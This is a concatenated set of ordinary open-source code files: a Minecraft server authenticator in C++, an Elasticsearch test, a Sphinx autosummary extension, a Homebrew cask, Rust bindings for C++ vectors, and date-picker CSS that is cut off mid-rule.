public void process( InternalContextAdapter context, ParserVisitor visitor)
{
}
}
| adufilie/flex-sdk | modules/thirdparty/velocity/src/java/org/apache/flex/forks/velocity/runtime/parser/node/ASTIfStatement.java | Java | apache-2.0 | 3,272 |
#include "Globals.h" // NOTE: MSVC stupidness requires this to be the same across all modules
#include "Authenticator.h"
#include "MojangAPI.h"
#include "../Root.h"
#include "../Server.h"
#include "../ClientHandle.h"
#include "../IniFile.h"
#include "json/json.h"
#include "PolarSSL++/BlockingSslClientSocket.h"
#define DEFAULT_AUTH_SERVER "sessionserver.mojang.com"
#define DEFAULT_AUTH_ADDRESS "/session/minecraft/hasJoined?username=%USERNAME%&serverId=%SERVERID%"
cAuthenticator::cAuthenticator(void) :
super("cAuthenticator"),
m_Server(DEFAULT_AUTH_SERVER),
m_Address(DEFAULT_AUTH_ADDRESS),
m_ShouldAuthenticate(true)
{
}
cAuthenticator::~cAuthenticator()
{
Stop();
}
void cAuthenticator::ReadSettings(cSettingsRepositoryInterface & a_Settings)
{
m_Server = a_Settings.GetValueSet ("Authentication", "Server", DEFAULT_AUTH_SERVER);
m_Address = a_Settings.GetValueSet ("Authentication", "Address", DEFAULT_AUTH_ADDRESS);
m_ShouldAuthenticate = a_Settings.GetValueSetB("Authentication", "Authenticate", true);
}
void cAuthenticator::Authenticate(int a_ClientID, const AString & a_UserName, const AString & a_ServerHash)
{
if (!m_ShouldAuthenticate)
{
Json::Value Value;
cRoot::Get()->AuthenticateUser(a_ClientID, a_UserName, cClientHandle::GenerateOfflineUUID(a_UserName), Value);
return;
}
cCSLock LOCK(m_CS);
m_Queue.push_back(cUser(a_ClientID, a_UserName, a_ServerHash));
m_QueueNonempty.Set();
}
void cAuthenticator::Start(cSettingsRepositoryInterface & a_Settings)
{
ReadSettings(a_Settings);
m_ShouldTerminate = false;
super::Start();
}
void cAuthenticator::Stop(void)
{
m_ShouldTerminate = true;
m_QueueNonempty.Set();
Wait();
}
void cAuthenticator::Execute(void)
{
for (;;)
{
cCSLock Lock(m_CS);
while (!m_ShouldTerminate && (m_Queue.size() == 0))
{
cCSUnlock Unlock(Lock);
m_QueueNonempty.Wait();
}
if (m_ShouldTerminate)
{
return;
}
ASSERT(!m_Queue.empty());
cAuthenticator::cUser & User = m_Queue.front();
int ClientID = User.m_ClientID;
AString UserName = User.m_Name;
AString ServerID = User.m_ServerID;
m_Queue.pop_front();
Lock.Unlock();
AString NewUserName = UserName;
AString UUID;
Json::Value Properties;
if (AuthWithYggdrasil(NewUserName, ServerID, UUID, Properties))
{
LOGINFO("User %s authenticated with UUID %s", NewUserName.c_str(), UUID.c_str());
cRoot::Get()->AuthenticateUser(ClientID, NewUserName, UUID, Properties);
}
else
{
cRoot::Get()->KickUser(ClientID, "Failed to authenticate account!");
}
} // for (-ever)
}
bool cAuthenticator::AuthWithYggdrasil(AString & a_UserName, const AString & a_ServerId, AString & a_UUID, Json::Value & a_Properties)
{
LOGD("Trying to authenticate user %s", a_UserName.c_str());
// Create the GET request:
AString ActualAddress = m_Address;
ReplaceString(ActualAddress, "%USERNAME%", a_UserName);
ReplaceString(ActualAddress, "%SERVERID%", a_ServerId);
AString Request;
Request += "GET " + ActualAddress + " HTTP/1.0\r\n";
Request += "Host: " + m_Server + "\r\n";
Request += "User-Agent: MCServer\r\n";
Request += "Connection: close\r\n";
Request += "\r\n";
AString Response;
if (!cMojangAPI::SecureRequest(m_Server, Request, Response))
{
return false;
}
// Check the HTTP status line:
const AString Prefix("HTTP/1.1 200 OK");
AString HexDump;
if (Response.compare(0, Prefix.size(), Prefix))
{
LOGINFO("User %s failed to auth, bad HTTP status line received", a_UserName.c_str());
LOGD("Response: \n%s", CreateHexDump(HexDump, Response.data(), Response.size(), 16).c_str());
return false;
}
// Erase the HTTP headers from the response:
size_t idxHeadersEnd = Response.find("\r\n\r\n");
if (idxHeadersEnd == AString::npos)
{
LOGINFO("User %s failed to authenticate, bad HTTP response header received", a_UserName.c_str());
LOGD("Response: \n%s", CreateHexDump(HexDump, Response.data(), Response.size(), 16).c_str());
return false;
}
Response.erase(0, idxHeadersEnd + 4);
// Parse the Json response:
if (Response.empty())
{
return false;
}
Json::Value root;
Json::Reader reader;
if (!reader.parse(Response, root, false))
{
LOGWARNING("cAuthenticator: Cannot parse received data (authentication) to JSON!");
return false;
}
a_UserName = root.get("name", "Unknown").asString();
a_UUID = cMojangAPI::MakeUUIDShort(root.get("id", "").asString());
a_Properties = root["properties"];
// Store the player's profile in the MojangAPI caches:
cRoot::Get()->GetMojangAPI().AddPlayerProfile(a_UserName, a_UUID, a_Properties);
return true;
}
/* In case we want to export this function to the plugin API later - don't forget to add the relevant INI configuration lines for DEFAULT_PROPERTIES_ADDRESS
#define DEFAULT_PROPERTIES_ADDRESS "/session/minecraft/profile/%UUID%"
// Gets the properties, such as skin, of a player based on their UUID via Mojang's API
bool GetPlayerProperties(const AString & a_UUID, Json::Value & a_Properties);
bool cAuthenticator::GetPlayerProperties(const AString & a_UUID, Json::Value & a_Properties)
{
LOGD("Trying to get properties for user %s", a_UUID.c_str());
// Create the GET request:
AString ActualAddress = m_PropertiesAddress;
ReplaceString(ActualAddress, "%UUID%", a_UUID);
AString Request;
Request += "GET " + ActualAddress + " HTTP/1.0\r\n";
Request += "Host: " + m_Server + "\r\n";
Request += "User-Agent: MCServer\r\n";
Request += "Connection: close\r\n";
Request += "\r\n";
AString Response;
if (!ConnectSecurelyToAddress(StarfieldCACert(), m_Server, Request, Response))
{
return false;
}
// Check the HTTP status line:
const AString Prefix("HTTP/1.1 200 OK");
AString HexDump;
if (Response.compare(0, Prefix.size(), Prefix))
{
LOGINFO("Failed to get properties for user %s, bad HTTP status line received", a_UUID.c_str());
LOGD("Response: \n%s", CreateHexDump(HexDump, Response.data(), Response.size(), 16).c_str());
return false;
}
// Erase the HTTP headers from the response:
size_t idxHeadersEnd = Response.find("\r\n\r\n");
if (idxHeadersEnd == AString::npos)
{
LOGINFO("Failed to get properties for user %s, bad HTTP response header received", a_UUID.c_str());
LOGD("Response: \n%s", CreateHexDump(HexDump, Response.data(), Response.size(), 16).c_str());
return false;
}
Response.erase(0, idxHeadersEnd + 4);
// Parse the Json response:
if (Response.empty())
{
return false;
}
Json::Value root;
Json::Reader reader;
if (!reader.parse(Response, root, false))
{
LOGWARNING("cAuthenticator: Cannot parse received properties data to JSON!");
return false;
}
a_Properties = root["properties"];
return true;
}
*/
| electromatter/cuberite | src/Protocol/Authenticator.cpp | C++ | apache-2.0 | 6,721 |
/*
* Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
* or more contributor license agreements. Licensed under the Elastic License
* 2.0; you may not use this file except in compliance with the Elastic License
* 2.0.
*/
package org.elasticsearch.xpack.core.ml.job.config;
import org.elasticsearch.common.io.stream.Writeable.Reader;
import org.elasticsearch.common.xcontent.XContentParser;
import org.elasticsearch.test.AbstractSerializingTestCase;
import static org.hamcrest.Matchers.is;
import static org.hamcrest.Matchers.nullValue;
public class ModelPlotConfigTests extends AbstractSerializingTestCase<ModelPlotConfig> {
public void testConstructorDefaults() {
ModelPlotConfig modelPlotConfig = new ModelPlotConfig();
assertThat(modelPlotConfig.isEnabled(), is(true));
assertThat(modelPlotConfig.getTerms(), is(nullValue()));
assertThat(modelPlotConfig.annotationsEnabled(), is(true));
}
public void testAnnotationEnabledDefaultsToEnabled() {
ModelPlotConfig modelPlotConfig = new ModelPlotConfig(false, null, null);
assertThat(modelPlotConfig.annotationsEnabled(), is(false));
modelPlotConfig = new ModelPlotConfig(true, null, null);
assertThat(modelPlotConfig.annotationsEnabled(), is(true));
}
@Override
protected ModelPlotConfig createTestInstance() {
return createRandomized();
}
public static ModelPlotConfig createRandomized() {
return new ModelPlotConfig(randomBoolean(), randomAlphaOfLengthBetween(1, 30), randomBoolean() ? randomBoolean() : null);
}
@Override
protected Reader<ModelPlotConfig> instanceReader() {
return ModelPlotConfig::new;
}
@Override
protected ModelPlotConfig doParseInstance(XContentParser parser) {
return ModelPlotConfig.STRICT_PARSER.apply(parser, null);
}
}
| ern/elasticsearch | x-pack/plugin/core/src/test/java/org/elasticsearch/xpack/core/ml/job/config/ModelPlotConfigTests.java | Java | apache-2.0 | 1,895 |
# Licensed under a 3-clause BSD style license - see LICENSE.rst
"""
This sphinx extension builds off of `sphinx.ext.autosummary` to
clean up some issues it presents in the Astropy docs.
The main issue this fixes is the summary tables getting cut off before the
end of the sentence in some cases.
Note: Sphinx 1.2 appears to have fixed the the main issues in the stock
autosummary extension that are addressed by this extension. So use of this
extension with newer versions of Sphinx is deprecated.
"""
import re
from distutils.version import LooseVersion
import sphinx
from sphinx.ext.autosummary import Autosummary
from ...utils import deprecated
# used in AstropyAutosummary.get_items
_itemsummrex = re.compile(r'^([A-Z].*?\.(?:\s|$))')
@deprecated('1.0', message='AstropyAutosummary is only needed when used '
'with Sphinx versions less than 1.2')
class AstropyAutosummary(Autosummary):
def get_items(self, names):
"""Try to import the given names, and return a list of
``[(name, signature, summary_string, real_name), ...]``.
"""
from sphinx.ext.autosummary import (get_import_prefixes_from_env,
import_by_name, get_documenter, mangle_signature)
env = self.state.document.settings.env
prefixes = get_import_prefixes_from_env(env)
items = []
max_item_chars = 50
for name in names:
display_name = name
if name.startswith('~'):
name = name[1:]
display_name = name.split('.')[-1]
try:
import_by_name_values = import_by_name(name, prefixes=prefixes)
except ImportError:
self.warn('[astropyautosummary] failed to import %s' % name)
items.append((name, '', '', name))
continue
# to accommodate Sphinx v1.2.2 and v1.2.3
if len(import_by_name_values) == 3:
real_name, obj, parent = import_by_name_values
elif len(import_by_name_values) == 4:
real_name, obj, parent, module_name = import_by_name_values
# NB. using real_name here is important, since Documenters
# handle module prefixes slightly differently
documenter = get_documenter(obj, parent)(self, real_name)
if not documenter.parse_name():
self.warn('[astropyautosummary] failed to parse name %s' % real_name)
items.append((display_name, '', '', real_name))
continue
if not documenter.import_object():
self.warn('[astropyautosummary] failed to import object %s' % real_name)
items.append((display_name, '', '', real_name))
continue
# -- Grab the signature
sig = documenter.format_signature()
if not sig:
sig = ''
else:
max_chars = max(10, max_item_chars - len(display_name))
sig = mangle_signature(sig, max_chars=max_chars)
sig = sig.replace('*', r'\*')
# -- Grab the summary
doc = list(documenter.process_doc(documenter.get_doc()))
while doc and not doc[0].strip():
doc.pop(0)
m = _itemsummrex.search(" ".join(doc).strip())
if m:
summary = m.group(1).strip()
elif doc:
summary = doc[0].strip()
else:
summary = ''
items.append((display_name, sig, summary, real_name))
return items
def setup(app):
# need autosummary, of course
app.setup_extension('sphinx.ext.autosummary')
# Don't make the replacement if Sphinx is at least 1.2
if LooseVersion(sphinx.__version__) < LooseVersion('1.2.0'):
# this replaces the default autosummary with the astropy one
app.add_directive('autosummary', AstropyAutosummary)
| Jerryzcn/Mmani | doc/sphinxext/numpy_ext/astropyautosummary.py | Python | bsd-2-clause | 3,983 |
cask "4k-youtube-to-mp3" do
# NOTE: "3" is not a version number, but an intrinsic part of the product name
version "3.13.4.3950"
sha256 "f65487fbb371d39a444ff6c6dd4086184eba23ad17e0ac979817ff078378f33c"
url "https://dl.4kdownload.com/app/4kyoutubetomp3_#{version.major_minor_patch}.dmg"
appcast "https://www.4kdownload.com/download"
name "4K YouTube to MP3"
homepage "https://www.4kdownload.com/products/product-youtubetomp3"
depends_on macos: ">= :sierra"
app "4K YouTube to MP3.app"
end
| kingthorin/homebrew-cask | Casks/4k-youtube-to-mp3.rb | Ruby | bsd-2-clause | 510 |
//! Less used details of `CxxVector` are exposed in this module. `CxxVector`
//! itself is exposed at the crate root.
use crate::extern_type::ExternType;
use crate::kind::Trivial;
use crate::string::CxxString;
use core::ffi::c_void;
use core::fmt::{self, Debug};
use core::iter::FusedIterator;
use core::marker::{PhantomData, PhantomPinned};
use core::mem::{self, ManuallyDrop, MaybeUninit};
use core::pin::Pin;
use core::slice;
/// Binding to C++ `std::vector<T, std::allocator<T>>`.
///
/// # Invariants
///
/// As an invariant of this API and the static analysis of the cxx::bridge
/// macro, in Rust code we can never obtain a `CxxVector` by value. Instead in
/// Rust code we will only ever look at a vector behind a reference or smart
/// pointer, as in `&CxxVector<T>` or `UniquePtr<CxxVector<T>>`.
#[repr(C, packed)]
pub struct CxxVector<T> {
// A thing, because repr(C) structs are not allowed to consist exclusively
// of PhantomData fields.
_void: [c_void; 0],
// The conceptual vector elements to ensure that autotraits are propagated
// correctly, e.g. CxxVector is UnwindSafe iff T is.
_elements: PhantomData<[T]>,
// Prevent unpin operation from Pin<&mut CxxVector<T>> to &mut CxxVector<T>.
_pinned: PhantomData<PhantomPinned>,
}
impl<T> CxxVector<T>
where
T: VectorElement,
{
/// Returns the number of elements in the vector.
///
/// Matches the behavior of C++ [std::vector\<T\>::size][size].
///
/// [size]: https://en.cppreference.com/w/cpp/container/vector/size
pub fn len(&self) -> usize {
T::__vector_size(self)
}
/// Returns true if the vector contains no elements.
///
/// Matches the behavior of C++ [std::vector\<T\>::empty][empty].
///
/// [empty]: https://en.cppreference.com/w/cpp/container/vector/empty
pub fn is_empty(&self) -> bool {
self.len() == 0
}
/// Returns a reference to an element at the given position, or `None` if
/// out of bounds.
pub fn get(&self, pos: usize) -> Option<&T> {
if pos < self.len() {
Some(unsafe { self.get_unchecked(pos) })
} else {
None
}
}
/// Returns a pinned mutable reference to an element at the given position,
/// or `None` if out of bounds.
pub fn index_mut(self: Pin<&mut Self>, pos: usize) -> Option<Pin<&mut T>> {
if pos < self.len() {
Some(unsafe { self.index_unchecked_mut(pos) })
} else {
None
}
}
/// Returns a reference to an element without doing bounds checking.
///
/// This is generally not recommended, use with caution! Calling this method
/// with an out-of-bounds index is undefined behavior even if the resulting
/// reference is not used.
///
/// Matches the behavior of C++
/// [std::vector\<T\>::operator\[\] const][operator_at].
///
/// [operator_at]: https://en.cppreference.com/w/cpp/container/vector/operator_at
pub unsafe fn get_unchecked(&self, pos: usize) -> &T {
let this = self as *const CxxVector<T> as *mut CxxVector<T>;
unsafe {
let ptr = T::__get_unchecked(this, pos) as *const T;
&*ptr
}
}
/// Returns a pinned mutable reference to an element without doing bounds
/// checking.
///
/// This is generally not recommended, use with caution! Calling this method
/// with an out-of-bounds index is undefined behavior even if the resulting
/// reference is not used.
///
/// Matches the behavior of C++
/// [std::vector\<T\>::operator\[\]][operator_at].
///
/// [operator_at]: https://en.cppreference.com/w/cpp/container/vector/operator_at
pub unsafe fn index_unchecked_mut(self: Pin<&mut Self>, pos: usize) -> Pin<&mut T> {
unsafe {
let ptr = T::__get_unchecked(self.get_unchecked_mut(), pos);
Pin::new_unchecked(&mut *ptr)
}
}
/// Returns a slice to the underlying contiguous array of elements.
pub fn as_slice(&self) -> &[T]
where
T: ExternType<Kind = Trivial>,
{
let len = self.len();
if len == 0 {
// The slice::from_raw_parts in the other branch requires a nonnull
// and properly aligned data ptr. C++ standard does not guarantee
// that data() on a vector with size 0 would return a nonnull
// pointer or sufficiently aligned pointer, so using it would be
// undefined behavior. Create our own empty slice in Rust instead
// which upholds the invariants.
&[]
} else {
let this = self as *const CxxVector<T> as *mut CxxVector<T>;
let ptr = unsafe { T::__get_unchecked(this, 0) };
unsafe { slice::from_raw_parts(ptr, len) }
}
}
/// Returns a slice to the underlying contiguous array of elements by
/// mutable reference.
pub fn as_mut_slice(self: Pin<&mut Self>) -> &mut [T]
where
T: ExternType<Kind = Trivial>,
{
let len = self.len();
if len == 0 {
&mut []
} else {
let ptr = unsafe { T::__get_unchecked(self.get_unchecked_mut(), 0) };
unsafe { slice::from_raw_parts_mut(ptr, len) }
}
}
/// Returns an iterator over elements of type `&T`.
pub fn iter(&self) -> Iter<T> {
Iter { v: self, index: 0 }
}
/// Returns an iterator over elements of type `Pin<&mut T>`.
pub fn iter_mut(self: Pin<&mut Self>) -> IterMut<T> {
IterMut { v: self, index: 0 }
}
/// Appends an element to the back of the vector.
///
/// Matches the behavior of C++ [std::vector\<T\>::push_back][push_back].
///
/// [push_back]: https://en.cppreference.com/w/cpp/container/vector/push_back
pub fn push(self: Pin<&mut Self>, value: T)
where
T: ExternType<Kind = Trivial>,
{
let mut value = ManuallyDrop::new(value);
unsafe {
// C++ calls move constructor followed by destructor on `value`.
T::__push_back(self, &mut value);
}
}
/// Removes the last element from a vector and returns it, or `None` if the
/// vector is empty.
pub fn pop(self: Pin<&mut Self>) -> Option<T>
where
T: ExternType<Kind = Trivial>,
{
if self.is_empty() {
None
} else {
let mut value = MaybeUninit::uninit();
Some(unsafe {
T::__pop_back(self, &mut value);
value.assume_init()
})
}
}
}
/// Iterator over elements of a `CxxVector` by shared reference.
///
/// The iterator element type is `&'a T`.
pub struct Iter<'a, T> {
v: &'a CxxVector<T>,
index: usize,
}
impl<'a, T> IntoIterator for &'a CxxVector<T>
where
T: VectorElement,
{
type Item = &'a T;
type IntoIter = Iter<'a, T>;
fn into_iter(self) -> Self::IntoIter {
self.iter()
}
}
impl<'a, T> Iterator for Iter<'a, T>
where
T: VectorElement,
{
type Item = &'a T;
fn next(&mut self) -> Option<Self::Item> {
let next = self.v.get(self.index)?;
self.index += 1;
Some(next)
}
fn size_hint(&self) -> (usize, Option<usize>) {
let len = self.len();
(len, Some(len))
}
}
impl<'a, T> ExactSizeIterator for Iter<'a, T>
where
T: VectorElement,
{
fn len(&self) -> usize {
self.v.len() - self.index
}
}
impl<'a, T> FusedIterator for Iter<'a, T> where T: VectorElement {}
/// Iterator over elements of a `CxxVector` by pinned mutable reference.
///
/// The iterator element type is `Pin<&'a mut T>`.
pub struct IterMut<'a, T> {
v: Pin<&'a mut CxxVector<T>>,
index: usize,
}
impl<'a, T> IntoIterator for Pin<&'a mut CxxVector<T>>
where
T: VectorElement,
{
type Item = Pin<&'a mut T>;
type IntoIter = IterMut<'a, T>;
fn into_iter(self) -> Self::IntoIter {
self.iter_mut()
}
}
impl<'a, T> Iterator for IterMut<'a, T>
where
T: VectorElement,
{
type Item = Pin<&'a mut T>;
fn next(&mut self) -> Option<Self::Item> {
let next = self.v.as_mut().index_mut(self.index)?;
self.index += 1;
// Extend lifetime to allow simultaneous holding of nonoverlapping
// elements, analogous to slice::split_first_mut.
unsafe {
let ptr = Pin::into_inner_unchecked(next) as *mut T;
Some(Pin::new_unchecked(&mut *ptr))
}
}
fn size_hint(&self) -> (usize, Option<usize>) {
let len = self.len();
(len, Some(len))
}
}
impl<'a, T> ExactSizeIterator for IterMut<'a, T>
where
T: VectorElement,
{
fn len(&self) -> usize {
self.v.len() - self.index
}
}
impl<'a, T> FusedIterator for IterMut<'a, T> where T: VectorElement {}
impl<T> Debug for CxxVector<T>
where
T: VectorElement + Debug,
{
fn fmt(&self, formatter: &mut fmt::Formatter) -> fmt::Result {
formatter.debug_list().entries(self).finish()
}
}
/// Trait bound for types which may be used as the `T` inside of a
/// `CxxVector<T>` in generic code.
///
/// This trait has no publicly callable or implementable methods. Implementing
/// it outside of the CXX codebase is not supported.
///
/// # Example
///
/// A bound `T: VectorElement` may be necessary when manipulating [`CxxVector`]
/// in generic code.
///
/// ```
/// use cxx::vector::{CxxVector, VectorElement};
/// use std::fmt::Display;
///
/// pub fn take_generic_vector<T>(vector: &CxxVector<T>)
/// where
/// T: VectorElement + Display,
/// {
/// println!("the vector elements are:");
/// for element in vector {
/// println!(" • {}", element);
/// }
/// }
/// ```
///
/// Writing the same generic function without a `VectorElement` trait bound
/// would not compile.
pub unsafe trait VectorElement: Sized {
#[doc(hidden)]
fn __typename(f: &mut fmt::Formatter) -> fmt::Result;
#[doc(hidden)]
fn __vector_size(v: &CxxVector<Self>) -> usize;
#[doc(hidden)]
unsafe fn __get_unchecked(v: *mut CxxVector<Self>, pos: usize) -> *mut Self;
#[doc(hidden)]
unsafe fn __push_back(v: Pin<&mut CxxVector<Self>>, value: &mut ManuallyDrop<Self>) {
// Opaque C type vector elements do not get this method because they can
// never exist by value on the Rust side of the bridge.
let _ = v;
let _ = value;
unreachable!()
}
#[doc(hidden)]
unsafe fn __pop_back(v: Pin<&mut CxxVector<Self>>, out: &mut MaybeUninit<Self>) {
// Opaque C type vector elements do not get this method because they can
// never exist by value on the Rust side of the bridge.
let _ = v;
let _ = out;
unreachable!()
}
#[doc(hidden)]
fn __unique_ptr_null() -> MaybeUninit<*mut c_void>;
#[doc(hidden)]
unsafe fn __unique_ptr_raw(raw: *mut CxxVector<Self>) -> MaybeUninit<*mut c_void>;
#[doc(hidden)]
unsafe fn __unique_ptr_get(repr: MaybeUninit<*mut c_void>) -> *const CxxVector<Self>;
#[doc(hidden)]
unsafe fn __unique_ptr_release(repr: MaybeUninit<*mut c_void>) -> *mut CxxVector<Self>;
#[doc(hidden)]
unsafe fn __unique_ptr_drop(repr: MaybeUninit<*mut c_void>);
}
macro_rules! vector_element_by_value_methods {
(opaque, $segment:expr, $ty:ty) => {};
(trivial, $segment:expr, $ty:ty) => {
#[doc(hidden)]
unsafe fn __push_back(v: Pin<&mut CxxVector<$ty>>, value: &mut ManuallyDrop<$ty>) {
extern "C" {
attr! {
#[link_name = concat!("cxxbridge1$std$vector$", $segment, "$push_back")]
fn __push_back(_: Pin<&mut CxxVector<$ty>>, _: &mut ManuallyDrop<$ty>);
}
}
unsafe { __push_back(v, value) }
}
#[doc(hidden)]
unsafe fn __pop_back(v: Pin<&mut CxxVector<$ty>>, out: &mut MaybeUninit<$ty>) {
extern "C" {
attr! {
#[link_name = concat!("cxxbridge1$std$vector$", $segment, "$pop_back")]
fn __pop_back(_: Pin<&mut CxxVector<$ty>>, _: &mut MaybeUninit<$ty>);
}
}
unsafe { __pop_back(v, out) }
}
};
}
macro_rules! impl_vector_element {
($kind:ident, $segment:expr, $name:expr, $ty:ty) => {
const_assert_eq!(0, mem::size_of::<CxxVector<$ty>>());
const_assert_eq!(1, mem::align_of::<CxxVector<$ty>>());
unsafe impl VectorElement for $ty {
#[doc(hidden)]
fn __typename(f: &mut fmt::Formatter) -> fmt::Result {
f.write_str($name)
}
#[doc(hidden)]
fn __vector_size(v: &CxxVector<$ty>) -> usize {
extern "C" {
attr! {
#[link_name = concat!("cxxbridge1$std$vector$", $segment, "$size")]
fn __vector_size(_: &CxxVector<$ty>) -> usize;
}
}
unsafe { __vector_size(v) }
}
#[doc(hidden)]
unsafe fn __get_unchecked(v: *mut CxxVector<$ty>, pos: usize) -> *mut $ty {
extern "C" {
attr! {
#[link_name = concat!("cxxbridge1$std$vector$", $segment, "$get_unchecked")]
fn __get_unchecked(_: *mut CxxVector<$ty>, _: usize) -> *mut $ty;
}
}
unsafe { __get_unchecked(v, pos) }
}
vector_element_by_value_methods!($kind, $segment, $ty);
#[doc(hidden)]
fn __unique_ptr_null() -> MaybeUninit<*mut c_void> {
extern "C" {
attr! {
#[link_name = concat!("cxxbridge1$unique_ptr$std$vector$", $segment, "$null")]
fn __unique_ptr_null(this: *mut MaybeUninit<*mut c_void>);
}
}
let mut repr = MaybeUninit::uninit();
unsafe { __unique_ptr_null(&mut repr) }
repr
}
#[doc(hidden)]
unsafe fn __unique_ptr_raw(raw: *mut CxxVector<Self>) -> MaybeUninit<*mut c_void> {
extern "C" {
attr! {
#[link_name = concat!("cxxbridge1$unique_ptr$std$vector$", $segment, "$raw")]
fn __unique_ptr_raw(this: *mut MaybeUninit<*mut c_void>, raw: *mut CxxVector<$ty>);
}
}
let mut repr = MaybeUninit::uninit();
unsafe { __unique_ptr_raw(&mut repr, raw) }
repr
}
#[doc(hidden)]
unsafe fn __unique_ptr_get(repr: MaybeUninit<*mut c_void>) -> *const CxxVector<Self> {
extern "C" {
attr! {
#[link_name = concat!("cxxbridge1$unique_ptr$std$vector$", $segment, "$get")]
fn __unique_ptr_get(this: *const MaybeUninit<*mut c_void>) -> *const CxxVector<$ty>;
}
}
unsafe { __unique_ptr_get(&repr) }
}
#[doc(hidden)]
unsafe fn __unique_ptr_release(mut repr: MaybeUninit<*mut c_void>) -> *mut CxxVector<Self> {
extern "C" {
attr! {
#[link_name = concat!("cxxbridge1$unique_ptr$std$vector$", $segment, "$release")]
fn __unique_ptr_release(this: *mut MaybeUninit<*mut c_void>) -> *mut CxxVector<$ty>;
}
}
unsafe { __unique_ptr_release(&mut repr) }
}
#[doc(hidden)]
unsafe fn __unique_ptr_drop(mut repr: MaybeUninit<*mut c_void>) {
extern "C" {
attr! {
#[link_name = concat!("cxxbridge1$unique_ptr$std$vector$", $segment, "$drop")]
fn __unique_ptr_drop(this: *mut MaybeUninit<*mut c_void>);
}
}
unsafe { __unique_ptr_drop(&mut repr) }
}
}
};
}
macro_rules! impl_vector_element_for_primitive {
($ty:ident) => {
impl_vector_element!(trivial, stringify!($ty), stringify!($ty), $ty);
};
}
impl_vector_element_for_primitive!(u8);
impl_vector_element_for_primitive!(u16);
impl_vector_element_for_primitive!(u32);
impl_vector_element_for_primitive!(u64);
impl_vector_element_for_primitive!(usize);
impl_vector_element_for_primitive!(i8);
impl_vector_element_for_primitive!(i16);
impl_vector_element_for_primitive!(i32);
impl_vector_element_for_primitive!(i64);
impl_vector_element_for_primitive!(isize);
impl_vector_element_for_primitive!(f32);
impl_vector_element_for_primitive!(f64);
impl_vector_element!(opaque, "string", "CxxString", CxxString);
| scheib/chromium | third_party/rust/cxx/v1/crate/src/cxx_vector.rs | Rust | bsd-3-clause | 16,960 |
.clearfix {
*zoom: 1;
}
.clearfix:before,
.clearfix:after {
display: table;
line-height: 0;
content: "";
}
.clearfix:after {
clear: both;
}
.hide-text {
font: 0/0 a;
color: transparent;
text-shadow: none;
background-color: transparent;
border: 0;
}
.input-block-level {
display: block;
width: 100%;
min-height: 30px;
-webkit-box-sizing: border-box;
-moz-box-sizing: border-box;
box-sizing: border-box;
}
[date-picker-wrapper] {
position: relative !important;
display: block;
}
[date-time-append] [date-picker] {
position: relative;
margin-right: -1000px;
margin-bottom: -1000px;
}
[date-range] [date-picker] .after.before {
color: #ffffff;
text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25);
background-color: #499dcd;
*background-color: #2f6ab4;
background-image: -moz-linear-gradient(top, #5bc0de, #2f6ab4);
background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#5bc0de), to(#2f6ab4));
background-image: -webkit-linear-gradient(top, #5bc0de, #2f6ab4);
background-image: -o-linear-gradient(top, #5bc0de, #2f6ab4);
background-image: linear-gradient(to bottom, #5bc0de, #2f6ab4);
background-repeat: repeat-x;
border-color: #2f6ab4 #2f6ab4 #1f4677;
border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);
filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5bc0de', endColorstr='#ff2f6ab4', GradientType=0);
filter: progid:DXImageTransform.Microsoft.gradient(enabled=false);
}
[date-range] [date-picker] .after.before:hover,
[date-range] [date-picker] .after.before:active,
[date-range] [date-picker] .after.before.active,
[date-range] [date-picker] .after.before.disabled,
[date-range] [date-picker] .after.before[disabled] {
color: #ffffff;
background-color: #2f6ab4;
*background-color: #2a5ea0;
}
[date-range] [date-picker] .after.before:active,
[date-range] [date-picker] .after.before.active {
background-color: #24528c \9;
}
[date-picker] {
padding: 4px;
-webkit-border-radius: 4px;
-moz-border-radius: 4px;
border-radius: 4px;
-webkit-user-select: none;
-moz-user-select: none;
-ms-user-select: none;
-o-user-select: none;
user-select: none;
}
[date-picker] table {
margin: 0;
}
[date-picker] td,
[date-picker] th {
width: 20px;
height: 20px;
padding: 4px 5px;
text-align: center;
border: none;
-webkit-border-radius: 4px;
-moz-border-radius: 4px;
border-radius: 4px;
}
[date-picker] .switch {
width: 145px;
}
[date-picker] span {
display: block;
float: left;
width: 23%;
height: 26px;
margin: 1%;
line-height: 25px;
cursor: pointer;
-webkit-border-radius: 4px;
-moz-border-radius: 4px;
border-radius: 4px;
}
[date-picker] span:hover {
background: #eeeeee;
}
[date-picker] span.disabled,
[date-picker] span.disabled:hover {
color: #999999;
cursor: default;
background: none;
}
[date-picker] .active,
[date-picker] .now {
color: #ffffff;
color: #fff;
text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25);
background-color: #006dcc;
*background-color: #0044cc;
background-image: -moz-linear-gradient(top, #0088cc, #0044cc);
background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#0088cc), to(#0044cc));
background-image: -webkit-linear-gradient(top, #0088cc, #0044cc);
background-image: -o-linear-gradient(top, #0088cc, #0044cc);
background-image: linear-gradient(to bottom, #0088cc, #0044cc);
background-repeat: repeat-x;
border-color: #0044cc #0044cc #002a80;
border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);
filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff0088cc', endColorstr='#ff0044cc', GradientType=0);
filter: progid:DXImageTransform.Microsoft.gradient(enabled=false);
}
[date-picker] .active:hover,
[date-picker] .now:hover,
[date-picker] .active:active,
[date-picker] .now:active,
[date-picker] .active.active,
[date-picker] .now.active,
[date-picker] .active.disabled,
[date-picker] .now.disabled,
[date-picker] .active[disabled],
[date-picker] .now[disabled] {
color: #ffffff;
background-color: #0044cc;
*background-color: #003bb3;
}
[date-picker] .active:active,
[date-picker] .now:active,
[date-picker] .active.active,
[date-picker] .now.active {
background-color: #003399 \9;
}
[date-picker] .now {
color: #ffffff;
text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25);
background-color: #ee735b;
*background-color: #ee905b;
background-image: -moz-linear-gradient(top, #ee5f5b, #ee905b);
background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#ee5f5b), to(#ee905b));
background-image: -webkit-linear-gradient(top, #ee5f5b, #ee905b);
background-image: -o-linear-gradient(top, #ee5f5b, #ee905b);
background-image: linear-gradient(to bottom, #ee5f5b, #ee905b);
